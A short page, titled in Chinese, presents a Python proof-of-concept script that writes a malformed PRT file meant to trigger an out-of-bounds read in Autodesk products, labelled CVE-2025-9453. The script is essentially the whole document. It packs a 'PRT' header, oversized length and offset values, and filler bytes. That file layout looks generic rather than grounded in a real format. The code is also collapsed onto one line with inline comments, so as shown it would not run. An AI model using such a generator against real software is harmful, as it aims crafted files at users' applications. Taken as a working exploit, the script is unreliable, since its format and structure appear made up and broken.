CVE-2025-9453: Autodesk产品PRT文件解析越界读取漏洞

#!/usr/bin/env python3 # CVE-2025-9453 PoC - Malicious PRT File Generator # Generate a malformed PRT file to trigger OOB read in Autodesk products import struct import sys def create_malicious_prt(): """Generate a malicious PRT file that triggers out-of-bounds read""" # PRT file header header = b'PRT' # Magic number header += struct.pack('<I', 1) # Version header += struct.pack('<I', 0x1000) # File size placeholder # Malicious payload that triggers OOB read # Craft malformed string table with oversized length field payload = b'\x00' * 100 # Padding # Trigger OOB read by setting invalid array indices exploit_data = struct.pack('<I', 0xFFFFFFFF) # Invalid array size exploit_data += struct.pack('<I', 0x7FFFFFFF) # Invalid offset exploit_data += b'A' * 1000 # Overflow data # Malformed geometry data section geometry = b'\xCC' * 500 # Corrupted geometry data # Create final malicious PRT file malicious_prt = header + payload + exploit_data + geometry return malicious_prt def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.prt>") print("Generated malicious PRT file for CVE-2025-9453 testing") sys.exit(1) output_file = sys.argv[1] malicious_content = create_malicious_prt() with open(output_file, 'wb') as f: f.write(malicious_content) print(f"Malicious PRT file created: {output_file}") print("WARNING: This file is for authorized security testing only") if __name__ == '__main__': main()